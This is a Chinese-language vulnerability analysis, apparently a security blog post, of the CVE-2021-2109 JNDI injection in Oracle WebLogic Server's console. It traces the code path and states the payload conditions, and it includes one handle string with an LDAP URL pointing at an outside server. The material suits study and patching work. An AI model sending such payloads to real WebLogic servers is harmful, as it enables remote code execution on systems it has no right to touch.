CVE-2021-2109 WebLogic-JNDI注入
0x01 环境搭建
https://www.penson.top/article/av40
手动添加
\server\lib\consoleapp\webapp\WEB-INF\lib\console.jar
到依赖里面
0x02 漏洞分析与复现
Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0。
拥有访问/console/consolejndi.portal
页面的用户权限,或者存在CVE-2020-14883
未授权访问漏洞。
漏洞原理
Weblogic
的/console/consolejndi.portal
接口可以调用存在JNDI注入漏洞的com.bea.console.handles.JndiBindingHandle
类,从而造成RCE
漏洞复现
payload如下
|
|
本地启动一个服务
漏洞分析
根据payload
分析,先从consolejndi.portal
开启看起,.portal
文件就类似于一个servlet
,在consolejndi.portal
中存在JNDI Binding
操作的处理容器,如图
具体的处理逻辑在PortalConfig/jndi/jndibinding.portlet
在com.bea.console.actions.jndi.JNDIBindingActioncom.bea.console.actions.jndi.JNDIBindingAction
类中,发现存在execute
方法,存在JNDI注入漏洞
观察需要如何构造恶意payload,c是由ConsoleUtils.initNamingContext(serverMBean);
赋值,而serverMBean
是通过domainMBean.lookupServer(serverName);
赋值,其中一系列关系如下
先是强转了一个JndiBindHandle类,这里面getHandleContext()
的逻辑并不复杂,最终会调用JndiBindingHandle
的构造函数。
如图,我们在paylad当中的一段被放进了构造函数的type
和objectIdentifier
中,而"ldapxxxx"
这一段会被放在components
中,由分号分隔
JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://10.216.7;79:1389/k4gmvl;AdminServer")
继续往下看,想要进入JNDI注入的那一段代码,需要满足两个条件,一个是serverMBean != null
,另一个是c != null
,进到serverMBean
看一下代码逻辑
lookupServer
是DommainMBean
接口的方法,我们去看它的实现类
实际上这里是动态代理类调用的,会自动跟进到weblogic.management.jmx.MBeanServerInvocationHandler#invoke
下,其中method
的值为weblogic.management.configuration.DomainMBean#lookupServer
,他的method
代码逻辑在实现类当中,也就是weblogic.management.configuration.DomainMBeanImpl#lookupServer
走到do while的逻辑里面,返回var3,而不是返回null
通过调试得到var2
的值为AdminServer
,这里没有其他值了,
所以要求我们此处输入的var1
与AdminServer
相同,回去看var1
是什么,var1
其实是serverName
发现serverName
也是可控的
现在serverBean != null
没问题,就要看 JNDI lookup 的地址是否可控。
很明显JNDI lookup的地址也是可控的
进入到JndiBindingHandle
类看一下,set/getComponents()
的逻辑,先调用了HandleImpl#getComponent
跟进
主要逻辑就是以;
分隔,就可控context
与binding
,就可以进行JNDI注入
1、;
号隔开JNDI地址
2、serverName必须为AdminServer